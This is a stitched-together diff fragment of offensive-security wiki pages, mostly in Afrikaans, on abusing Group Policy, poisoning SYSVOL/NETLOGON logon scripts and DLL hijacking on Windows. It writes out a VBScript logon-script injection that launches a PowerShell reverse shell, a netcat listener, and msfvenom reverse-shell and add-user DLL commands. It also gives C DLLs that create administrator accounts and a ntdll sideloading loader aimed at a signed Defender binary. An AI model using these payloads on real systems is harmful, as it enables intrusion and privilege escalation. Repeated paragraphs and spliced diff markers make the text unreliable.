GPOs laat ook toe om gebruikers- en groepledemaatskappe op teikenstelsels te manipuleer. Deur die Users and Groups-beleidlêers direk te wysig, kan aanvallers gebruikers by bevoorregte groepe voeg, soos die plaaslike `administrators`-groep. Dit is moontlik deur die delegasie van GPO-bestuurspermsies, wat die wysiging van beleidslêers toelaat om nuwe gebruikers in te sluit of groepledemaatskappe te verander. GPOs maak ook die manipulasie van gebruikers- en groepelidmaatskappe op teikenstelsels moontlik. Deur die Users and Groups beleidlêers direk te wysig, kan angrype gebruikers by bevoegde groepe voeg, soos die plaaslike `administrators` groep. Dit is moontlik deur die delegasie van GPO-bestuursmagte, wat die wysiging van beleidslêers toelaat om nuwe gebruikers in te sluit of groepelidmaatskappe te verander.
Die XML-konfigurasielêer vir Users and Groups beskryf hoe hierdie veranderinge geïmplementeer word. Deur inskrywings by hierdie lêer te voeg, kan spesifieke gebruikers verhoogde voorregte oor getroffenen stelsels toegeken word. Hierdie metode bied 'n direkte benadering tot die eskalering van voorregte deur middel van GPO-manipulasie. Die XML-konfigurasielêer vir Users and Groups skets hoe hierdie veranderinge geïmplementeer word. Deur inskrywings tot hierdie lêer by te voeg, kan spesifieke gebruikers verhoogde voorregte oor aangetas stelsels verleen word. Hierdie metode bied 'n direkte benadering tot privilege escalation deur GPO-manipulasie.
Verder kan addisionele metodes vir die uitvoer van kode of die handhawing van persistence, soos die gebruik van logon/logoff-skripte, die wysiging van registersleutels vir autoruns, die installering van sagteware via .msi-lêers, of die redigering van dienskonfigurasies, ook oorweeg word. Hierdie tegnieke bied verskeie weë om toegang te behou en teikenstelsels te beheer deur die misbruik van GPOs.
## SYSVOL/NETLOGON Logon Script Poisoning
Writable paths under `\\<dc>\SYSVOL\<domain>\scripts\` or `\\<dc>\NETLOGON\` allow tampering with logon scripts executed at user logon via GPO. This yields code execution in the security context of logging users.
### Vind aanmeldskripte
- Inspekteer gebruikersattribuutte vir 'n gekonfigureerde aanmeldskrip:
```powershell
Get-DomainUser -Identity <user> -Properties scriptPath, scriptpath
```
- Kruip domain shares om snelkoppels of verwysings na skripte op te spoor:
```bash
# NetExec spider (authenticated)
netexec smb <dc_fqdn> -u <user> -p <pass> -M spider_plus
```
- Ontleed `.lnk`-lêers om teikens wat na SYSVOL/NETLOGON wys op te los (nuttige DFIR-truuk en vir aanvallers sonder direkte GPO-toegang):
```bash
# LnkParse3
lnkparse login.vbs.lnk
# Example target revealed:
# C:\Windows\SYSVOL\sysvol\<domain>\scripts\login.vbs
```
- BloodHound wys die `logonScript` (scriptPath) attribuut op gebruikersnodes wanneer dit teenwoordig is.
### Valideer skryf-toegang (moenie op share listings staatmaak nie)
Outomatiese tooling kan SYSVOL/NETLOGON as slegs-lees wys, maar onderliggende NTFS ACLs kan steeds skryf-toegang toelaat. Toets altyd:
```bash
# Interactive write test
smbclient \\<dc>\SYSVOL -U <user>%<pass>
smb: \\> cd <domain>\scripts\
smb: \\<domain>\scripts\\> put smallfile.txt login.vbs # check size/time change
```
As die lêergrootte of mtime verander, het jy skryfreg. Bewaar die oorspronklikes voordat jy wysig.
### Poison a VBScript logon script for RCE
Voeg 'n opdrag by wat 'n PowerShell reverse shell loods (genereer vanaf revshells.com) en behou die oorspronklike logika om te voorkom dat die sakefunksie breek:
```vb
' At top of login.vbs
Set cmdshell = CreateObject("Wscript.Shell")
cmdshell.run "powershell -e <BASE64_PAYLOAD>"
' Existing mappings remain
MapNetworkShare "\\\\<dc_fqdn>\\apps", "V"
MapNetworkShare "\\\\<dc_fqdn>\\docs", "L"
```
Luister op jou host en wag vir die volgende interactive logon:
```bash
rlwrap -cAr nc -lnvp 443
```
Aantekeninge:
- Uitvoering gebeur onder die aangemelde gebruiker se token (nie SYSTEM nie). Reikwydte is die GPO link (OU, site, domain) wat daardie script toepas.
- Maak skoon deur die oorspronklike inhoud/tydstempels na gebruik te herstel.
Boonop kan aanvullende metodes oorweeg word om kode uit te voer of persistenie te handhaaf, soos die gebruik van logon/logoff-skripte, die wysiging van registersleutels vir autoruns, die installering van sagteware via .msi-lêers, of die redigering van dienskonfigurasies. Hierdie tegnieke bied verskeie weë om toegang te behou en teikenstelsels te beheer deur die misbruik van GPOs.
## Verwysings ## Verwysings
@ -187,5 +283,9 @@ Boonop kan aanvullende metodes oorweeg word om kode uit te voer of persistenie t
- [https://blog.fox-it.com/2018/04/26/escalating-privileges-with-acls-in-active-directory/](https://blog.fox-it.com/2018/04/26/escalating-privileges-with-acls-in-active-directory/) - [https://blog.fox-it.com/2018/04/26/escalating-privileges-with-acls-in-active-directory/](https://blog.fox-it.com/2018/04/26/escalating-privileges-with-acls-in-active-directory/)
- [https://adsecurity.org/?p=3658](https://adsecurity.org/?p=3658) - [https://adsecurity.org/?p=3658](https://adsecurity.org/?p=3658)
- [https://learn.microsoft.com/en-us/dotnet/api/system.directoryservices.activedirectoryaccessrule.-ctor?view=netframework-4.7.2#System_DirectoryServices_ActiveDirectoryAccessRule\_\_ctor_System_Security_Principal_IdentityReference_System_DirectoryServices_ActiveDirectoryRights_System_Security_AccessControl_AccessControlType\_](https://learn.microsoft.com/en-us/dotnet/api/system.directoryservices.activedirectoryaccessrule.-ctor?view=netframework-4.7.2#System_DirectoryServices_ActiveDirectoryAccessRule__ctor_System_Security_Principal_IdentityReference_System_DirectoryServices_ActiveDirectoryRights_System_Security_AccessControl_AccessControlType_) - [https://learn.microsoft.com/en-us/dotnet/api/system.directoryservices.activedirectoryaccessrule.-ctor?view=netframework-4.7.2#System_DirectoryServices_ActiveDirectoryAccessRule\_\_ctor_System_Security_Principal_IdentityReference_System_DirectoryServices_ActiveDirectoryRights_System_Security_AccessControl_AccessControlType\_](https://learn.microsoft.com/en-us/dotnet/api/system.directoryservices.activedirectoryaccessrule.-ctor?view=netframework-4.7.2#System_DirectoryServices_ActiveDirectoryAccessRule__ctor_System_Security_Principal_IdentityReference_System_DirectoryServices_ActiveDirectoryRights_System_Security_AccessControl_AccessControlType_)
- [https://learn.microsoft.com/en-us/dotnet/api/system.directoryservices.activedirectoryaccessrule.-ctor?view=netframework-4.7.2#System_DirectoryServices_ActiveDirectoryAccessRule__ctor_System_Security_Principal_IdentityReference_System_DirectoryServices_ActiveDirectoryRights_System_Security_AccessControl_AccessControlType_](https://learn.microsoft.com/en-us/dotnet/api/system.directoryservices.activedirectoryaccessrule.-ctor?view=netframework-4.7.2#System_DirectoryServices_ActiveDirectoryAccessRule__ctor_System_Security_Principal_IdentityReference_System_DirectoryServices_ActiveDirectoryRights_System_Security_AccessControl_AccessControlType_)
- [BloodyAD AD attribute/UAC operations from Linux](https://github.com/CravateRouge/bloodyAD)
- [Samba net rpc (group membership)](https://www.samba.org/)
- [HTB Puppy: AD ACL abuse, KeePassXC Argon2 cracking, and DPAPI decryption to DC admin](https://0xdf.gitlab.io/2025/09/27/htb-puppy.html)
{{#include ../../../banners/hacktricks-training.md}} {{#include ../../../banners/hacktricks-training.md}}

View File

@ -1,320 +0,0 @@
# Dll Hijacking
{{#include ../../banners/hacktricks-training.md}}
## Basiese Inligting
DLL Hijacking behels die manipulasie van 'n vertroude toepassingsprogramme om 'n kwaadwillige DLL te laai. Hierdie term dek verskeie taktieke soos **DLL Spoofing, Injection, and Side-Loading**. Dit word hoofsaaklik gebruik vir code execution, om persistentie te bereik, en minder gereeld vir privilege escalation. Alhoewel die fokus hier op escalation is, bly die metode van hijacking konstant oor die verskillende doelwitte.
### Algemene Tegnieke
Verskeie metodes word gebruik vir DLL hijacking, en elkeen se doeltreffendheid hang af van die toepassing se DLL laai-strategie:
1. **DLL Replacement**: Ruil 'n egte DLL vir 'n kwaadwillige een, opsioneel deur DLL Proxying te gebruik om die oorspronklike DLL se funksionaliteit te bewaar.
2. **DLL Search Order Hijacking**: Plaas die kwaadwillige DLL in 'n soekpad wat voor die legitiméne een kom, en benut die toepassing se soekpatroon.
3. **Phantom DLL Hijacking**: Skep 'n kwaadwillige DLL wat 'n toepassing sal laai omdat dit dink dit is 'n vereiste DLL wat nie bestaan nie.
4. **DLL Redirection**: Wysig soekparameters soos %PATH% of .exe.manifest / .exe.local lêers om die toepassing na die kwaadwillige DLL te lei.
5. **WinSxS DLL Replacement**: Vervang die legitiméne DLL met 'n kwaadwillige teenvoeter in die WinSxS gids, 'n metode dikwels geassosieer met DLL side-loading.
6. **Relative Path DLL Hijacking**: Plaas die kwaadwillige DLL in 'n gebruikerbeheerde gids saam met 'n gekopieerde toepassing, wat ooreenstem met Binary Proxy Execution tegnieke.
## Vind ontbrekende Dlls
Die mees algemene manier om ontbrekende Dlls binne 'n stelsel te vind is om [procmon](https://docs.microsoft.com/en-us/sysinternals/downloads/procmon) van sysinternals te laat loop en die **volgende 2 filters** te **stel**:
![](<../../images/image (311).png>)
![](<../../images/image (313).png>)
en wys net die **File System Activity**:
![](<../../images/image (314).png>)
As jy op soek is na **ontbrekende dlls in die algemeen** laat jy dit hierdie proses vir 'n **paar sekondes** loop.\
As jy op soek is na 'n **ontbrekende dll binne 'n spesifieke uitvoerbare lêer** moet jy 'n ander filter stel soos "Process Name" "contains" "\<exec name>", voer dit uit, en stop die gebeurtenisse wat vasgelê word.
## Exploiteer ontbrekende Dlls
Om privaatheid te eskaleer is die beste kans wat ons het om 'n **dll te skryf wat 'n privilegie-proses sal probeer laai** in een van die **plekke waar dit gaan gesoek word**. Dus sal ons in staat wees om 'n dll te **skryf** in 'n **map** waar die **dll gesoek word voordat** die gids waar die **oorspronklike dll** is (skaars geval), of ons sal in staat wees om te **skryf in 'n map waar die dll gesoek gaan word** en die oorspronklike **dll nie in enige gids bestaan nie**.
### Dll Search Order
**In die** [**Microsoft dokumentasie**](https://docs.microsoft.com/en-us/windows/win32/dlls/dynamic-link-library-search-order#factors-that-affect-searching) **kan jy vind hoe die Dlls spesifiek gelaai word.**
Windows-toepassings soek na DLLs deur 'n stel voorafbepaalde soekpade te volg, in 'n bepaalde volgorde. Die probleem van DLL hijacking ontstaan wanneer 'n kwaadwillige DLL strategies in een van hierdie gidse geplaas word, wat verseker dat dit gelaai word voordat die egte DLL. 'n Oplossing om dit te voorkom is om te verseker dat die toepassing absolute paaie gebruik wanneer dit na die DLLs verwys wat dit benodig.
Jy kan die **DLL search order op 32-bit** stelsels hieronder sien:
1. The directory from which the application loaded.
2. The system directory. Use the [**GetSystemDirectory**](https://docs.microsoft.com/en-us/windows/desktop/api/sysinfoapi/nf-sysinfoapi-getsystemdirectorya) function to get the path of this directory.(_C:\Windows\System32_)
3. The 16-bit system directory. There is no function that obtains the path of this directory, but it is searched. (_C:\Windows\System_)
4. The Windows directory. Use the [**GetWindowsDirectory**](https://docs.microsoft.com/en-us/windows/desktop/api/sysinfoapi/nf-sysinfoapi-getwindowsdirectorya) function to get the path of this directory.
1. (_C:\Windows_)
5. The current directory.
6. The directories that are listed in the PATH environment variable. Note that this does not include the per-application path specified by the **App Paths** registry key. The **App Paths** key is not used when computing the DLL search path.
Dit is die **verstek** soekorde met **SafeDllSearchMode** geaktiveer. Wanneer dit gedeaktiveer is, beweeg die huidige gids na die tweede plek. Om hierdie funksie te deaktiveer, skep die **HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager**\\**SafeDllSearchMode** registerwaarde en stel dit op 0 (verstek is geaktiveer).
As die [**LoadLibraryEx**](https://docs.microsoft.com/en-us/windows/desktop/api/LibLoaderAPI/nf-libloaderapi-loadlibraryexa) funksie met **LOAD_WITH_ALTERED_SEARCH_PATH** aangeroep word, begin die soektog in die gids van die uitvoerbare module wat **LoadLibraryEx** laai.
Laastens, neem kennis dat **'n dll gelaai kan word deur die absolute pad aan te dui in plaas van net die naam**. In daardie geval sal daardie dll **slegs in daardie pad gesoek word** (as die dll enige afhanklikhede het, sal hulle gesoek word soos net gelaai deur naam).
Daar is ander maniere om die soekorde te verander, maar ek gaan dit nie hier verduidelik nie.
### Forcing sideloading via RTL_USER_PROCESS_PARAMETERS.DllPath
'n Gesofistikeerde manier om deterministies die DLL soekpad van 'n nuut geskepte proses te beïnvloed is om die DllPath veld in RTL_USER_PROCESS_PARAMETERS te stel wanneer jy die proses met ntdll se native APIs skep. Deur 'n aanvaller-beheerde gids hier te verskaf, kan 'n teikenproses wat 'n geïmporteerde DLL per naam oplos (geen absolute pad en nie die veilige laaivlagte gebruik nie) gedwing word om 'n kwaadwillige DLL van daardie gids te laai.
Sleutelidee
- Bou die process parameters met RtlCreateProcessParametersEx en verskaf 'n pasgemaakte DllPath wat na jou beheer-gids wys (bv. die gids waar jou dropper/unpacker leef).
- Skep die proses met RtlCreateUserProcess. Wanneer die teiken-binary 'n DLL per naam oplos, sal die loader hierdie verskafte DllPath raadpleeg tydens resolusie, wat betroubare sideloading moontlik maak selfs wanneer die kwaadwillige DLL nie saam met die teiken EXE geplaas is nie.
Aantekeninge/beperkings
- Dit beïnvloed die kindproses wat geskep word; dit is anders as SetDllDirectory, wat slegs die huidige proses beïnvloed.
- Die teiken moet 'n DLL invoer of LoadLibrary per naam gebruik (geen absolute pad en nie LOAD_LIBRARY_SEARCH_SYSTEM32/SetDefaultDllDirectories gebruik nie).
- KnownDLLs en hardgekodeerde absolute paaie kan nie gehijack word nie. Forwarded exports en SxS kan prioriteit verander.
Minimale C-voorbeeld (ntdll, wide strings, vereenvoudigde foutbehandeling):
```c
#include <windows.h>
#include <winternl.h>
#pragma comment(lib, "ntdll.lib")
// Prototype (not in winternl.h in older SDKs)
typedef NTSTATUS (NTAPI *RtlCreateProcessParametersEx_t)(
PRTL_USER_PROCESS_PARAMETERS *pProcessParameters,
PUNICODE_STRING ImagePathName,
PUNICODE_STRING DllPath,
PUNICODE_STRING CurrentDirectory,
PUNICODE_STRING CommandLine,
PVOID Environment,
PUNICODE_STRING WindowTitle,
PUNICODE_STRING DesktopInfo,
PUNICODE_STRING ShellInfo,
PUNICODE_STRING RuntimeData,
ULONG Flags
);
typedef NTSTATUS (NTAPI *RtlCreateUserProcess_t)(
PUNICODE_STRING NtImagePathName,
ULONG Attributes,
PRTL_USER_PROCESS_PARAMETERS ProcessParameters,
PSECURITY_DESCRIPTOR ProcessSecurityDescriptor,
PSECURITY_DESCRIPTOR ThreadSecurityDescriptor,
HANDLE ParentProcess,
BOOLEAN InheritHandles,
HANDLE DebugPort,
HANDLE ExceptionPort,
PRTL_USER_PROCESS_INFORMATION ProcessInformation
);
static void DirFromModule(HMODULE h, wchar_t *out, DWORD cch) {
DWORD n = GetModuleFileNameW(h, out, cch);
for (DWORD i=n; i>0; --i) if (out[i-1] == L'\\') { out[i-1] = 0; break; }
}
int wmain(void) {
// Target Microsoft-signed, DLL-hijackable binary (example)
const wchar_t *image = L"\\??\\C:\\Program Files\\Windows Defender Advanced Threat Protection\\SenseSampleUploader.exe";
// Build custom DllPath = directory of our current module (e.g., the unpacked archive)
wchar_t dllDir[MAX_PATH];
DirFromModule(GetModuleHandleW(NULL), dllDir, MAX_PATH);
UNICODE_STRING uImage, uCmd, uDllPath, uCurDir;
RtlInitUnicodeString(&uImage, image);
RtlInitUnicodeString(&uCmd, L"\"C:\\Program Files\\Windows Defender Advanced Threat Protection\\SenseSampleUploader.exe\"");
RtlInitUnicodeString(&uDllPath, dllDir); // Attacker-controlled directory
RtlInitUnicodeString(&uCurDir, dllDir);
RtlCreateProcessParametersEx_t pRtlCreateProcessParametersEx =
(RtlCreateProcessParametersEx_t)GetProcAddress(GetModuleHandleW(L"ntdll.dll"), "RtlCreateProcessParametersEx");
RtlCreateUserProcess_t pRtlCreateUserProcess =
(RtlCreateUserProcess_t)GetProcAddress(GetModuleHandleW(L"ntdll.dll"), "RtlCreateUserProcess");
RTL_USER_PROCESS_PARAMETERS *pp = NULL;
NTSTATUS st = pRtlCreateProcessParametersEx(&pp, &uImage, &uDllPath, &uCurDir, &uCmd,
NULL, NULL, NULL, NULL, NULL, 0);
if (st < 0) return 1;
RTL_USER_PROCESS_INFORMATION pi = {0};
st = pRtlCreateUserProcess(&uImage, 0, pp, NULL, NULL, NULL, FALSE, NULL, NULL, &pi);
if (st < 0) return 1;
// Resume main thread etc. if created suspended (not shown here)
return 0;
}
```
Operational usage example
- Plaas 'n kwaadwillige xmllite.dll (exporting the required functions or proxying to the real one) in your DllPath directory.
- Launch a signed binary known to look up xmllite.dll by name using the above technique. The loader resolves the import via the supplied DllPath and sideloads your DLL.
This technique has been observed in-the-wild to drive multi-stage sideloading chains: an initial launcher drops a helper DLL, which then spawns a Microsoft-signed, hijackable binary with a custom DllPath to force loading of the attackers DLL from a staging directory.
#### Exceptions on dll search order from Windows docs
Certain exceptions to the standard DLL search order are noted in Windows documentation:
- Wanneer 'n **DLL wat dieselfde naam deel as een wat reeds in geheue gelaai is** teëgekom word, omseil die stelsel die gewone soektog. In plaas daarvan voer dit 'n kontrole vir redirection en 'n manifest uit voordat dit standaard terugval op die DLL wat reeds in geheue is. **In hierdie scenario voer die stelsel nie 'n soektog vir die DLL uit nie**.
- In gevalle waar die DLL as 'n **known DLL** vir die huidige Windows-weergawe herken word, sal die stelsel sy weergawe van die known DLL gebruik, saam met enige van sy afhanklike DLLs, **sonder die soekproses**. Die register sleutel **HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs** bevat 'n lys van hierdie known DLLs.
- As 'n **DLL afhanklikhede het**, word die soektog na hierdie afhanklike DLLs uitgevoer asof hulle slegs deur hul **module names** aangedui is, ongeag of die aanvanklike DLL via 'n volle pad geïdentifiseer is.
### Escalating Privileges
**Vereistes**:
- Identifiseer 'n proses wat werk of gaan werk onder **verskillende voorregte** (horizontal or lateral movement), wat **nie 'n DLL het nie**.
- Verseker dat **write access** beskikbaar is vir enige **directory** waarin die **DLL** gaan wees wat **gesoek word**. Hierdie ligging kan die gids van die uitvoerbare lêer wees of 'n gids binne die system path.
Ja, die vereistes is moeilik om te vind want **per verstek is dit redelik vreemd om 'n geprivilegieerde uitvoerbare lêer te vind wat 'n dll ontbreek** en dit is selfs **meer vreemd om write permissions op 'n system path folder te hê** (jy het dit nie standaard nie). Maar, in verkeerd gekonfigureerde omgewings is dit moontlik.\
In die geval dat jy gelukkig is en aan die vereistes voldoen, kan jy die [UACME](https://github.com/hfiref0x/UACME) project nagaan. Selfs al is die **main goal of the project is bypass UAC**, mag jy daar 'n **PoC** van 'n Dll hijaking vir die Windows-weergawe vind wat jy kan gebruik (waarskynlik net deur die pad van die gids waar jy write permissions het te verander).
Note that you can **check your permissions in a folder** doing:
```bash
accesschk.exe -dqv "C:\Python27"
icacls "C:\Python27"
```
En **kontroleer die toestemmings van alle gidse binne PATH**:
```bash
for %%A in ("%path:;=";"%") do ( cmd.exe /c icacls "%%~A" 2>nul | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%" && echo. )
```
Jy kan ook die imports van 'n executable en die exports van 'n dll nagaan met:
```c
dumpbin /imports C:\path\Tools\putty\Putty.exe
dumpbin /export /path/file.dll
```
Vir 'n volledige gids oor hoe om **abuse Dll Hijacking to escalate privileges** met toestemming om in 'n **System Path folder** te skryf, sien:
{{#ref}}
dll-hijacking/writable-sys-path-+dll-hijacking-privesc.md
{{#endref}}
### Outomatiese hulpmiddels
[**Winpeas** ](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS) sal kyk of jy skryftoestemmings het op enige gids binne die system PATH.\
Ander interessante outomatiese gereedskap om hierdie kwesbaarheid te ontdek is **PowerSploit functions**: _Find-ProcessDLLHijack_, _Find-PathDLLHijack_ en _Write-HijackDll._
### Voorbeeld
As jy 'n benutbare scenario vind, is een van die belangrikste dinge om dit suksesvol te benut om **create a dll that exports at least all the functions the executable will import from it**. Let wel dat Dll Hijacking handig kan wees om [escalate from Medium Integrity level to High **(bypassing UAC)**](../authentication-credentials-uac-and-efs.md#uac) of van[ **High Integrity to SYSTEM**](#from-high-integrity-to-system)**.** Jy kan 'n voorbeeld vind van **how to create a valid dll** in hierdie dll hijacking-studie gefokus op dll hijacking vir uitvoering: [**https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows**](https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows)**.**\
Verder, in die **next sectio**n kan jy 'n paar **basic dll codes** vind wat nuttig kan wees as **templates** of om 'n **dll with non required functions exported** te skep.
## **Skep en kompileer Dlls**
### **Dll Proxifying**
Basies is 'n **Dll proxy** 'n Dll wat in staat is om jou kwaadwillige kode uit te voer wanneer dit gelaai word, maar ook om te funksioneer soos verwag deur alle oproepe na die werklike biblioteek deur te stuur.
Met die hulpmiddel [**DLLirant**](https://github.com/redteamsocietegenerale/DLLirant) of [**Spartacus**](https://github.com/Accenture/Spartacus) kan jy eintlik 'n uitvoerbare lêer aandui en die biblioteek kies wat jy wil proxify en 'n proxified dll genereer, of net die Dll aandui en 'n proxified dll genereer.
### **Meterpreter**
**Get rev shell (x64):**
```bash
msfvenom -p windows/x64/shell/reverse_tcp LHOST=192.169.0.100 LPORT=4444 -f dll -o msf.dll
```
**Kry 'n meterpreter (x86):**
```bash
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.169.0.100 LPORT=4444 -f dll -o msf.dll
```
**Skep 'n gebruiker (x86 ek het nie 'n x64-weergawe gesien nie):**
```
msfvenom -p windows/adduser USER=privesc PASS=Attacker@123 -f dll -o msf.dll
```
### Your own
Let wel dat in verskeie gevalle die Dll wat jy kompileer verskeie funksies moet **export several functions** wat deur die slagofferproses gelaai gaan word. As hierdie funksies nie bestaan nie, sal die **binary won't be able to load** hulle en sal die **exploit will fail**.
```c
// Tested in Win10
// i686-w64-mingw32-g++ dll.c -lws2_32 -o srrstr.dll -shared
#include <windows.h>
BOOL WINAPI DllMain (HANDLE hDll, DWORD dwReason, LPVOID lpReserved){
switch(dwReason){
case DLL_PROCESS_ATTACH:
system("whoami > C:\\users\\username\\whoami.txt");
WinExec("calc.exe", 0); //This doesn't accept redirections like system
break;
case DLL_PROCESS_DETACH:
break;
case DLL_THREAD_ATTACH:
break;
case DLL_THREAD_DETACH:
break;
}
return TRUE;
}
```
```c
// For x64 compile with: x86_64-w64-mingw32-gcc windows_dll.c -shared -o output.dll
// For x86 compile with: i686-w64-mingw32-gcc windows_dll.c -shared -o output.dll
#include <windows.h>
BOOL WINAPI DllMain (HANDLE hDll, DWORD dwReason, LPVOID lpReserved){
if (dwReason == DLL_PROCESS_ATTACH){
system("cmd.exe /k net localgroup administrators user /add");
ExitProcess(0);
}
return TRUE;
}
```
```c
//x86_64-w64-mingw32-g++ -c -DBUILDING_EXAMPLE_DLL main.cpp
//x86_64-w64-mingw32-g++ -shared -o main.dll main.o -Wl,--out-implib,main.a
#include <windows.h>
int owned()
{
WinExec("cmd.exe /c net user cybervaca Password01 ; net localgroup administrators cybervaca /add", 0);
exit(0);
return 0;
}
BOOL WINAPI DllMain(HINSTANCE hinstDLL,DWORD fdwReason, LPVOID lpvReserved)
{
owned();
return 0;
}
```
```c
//Another possible DLL
// i686-w64-mingw32-gcc windows_dll.c -shared -lws2_32 -o output.dll
#include<windows.h>
#include<stdlib.h>
#include<stdio.h>
void Entry (){ //Default function that is executed when the DLL is loaded
system("cmd");
}
BOOL APIENTRY DllMain (HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {
switch (ul_reason_for_call){
case DLL_PROCESS_ATTACH:
CreateThread(0,0, (LPTHREAD_START_ROUTINE)Entry,0,0,0);
break;
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DEATCH:
break;
}
return TRUE;
}
```
## Verwysings
- [https://medium.com/@pranaybafna/tcapt-dll-hijacking-888d181ede8e](https://medium.com/@pranaybafna/tcapt-dll-hijacking-888d181ede8e)
- [https://cocomelonc.github.io/pentest/2021/09/24/dll-hijacking-1.html](https://cocomelonc.github.io/pentest/2021/09/24/dll-hijacking-1.html)
- [Check Point Research Nimbus Manticore Deploys New Malware Targeting Europe](https://research.checkpoint.com/2025/nimbus-manticore-deploys-new-malware-targeting-europe/)
{{#include ../../banners/hacktricks-training.md}}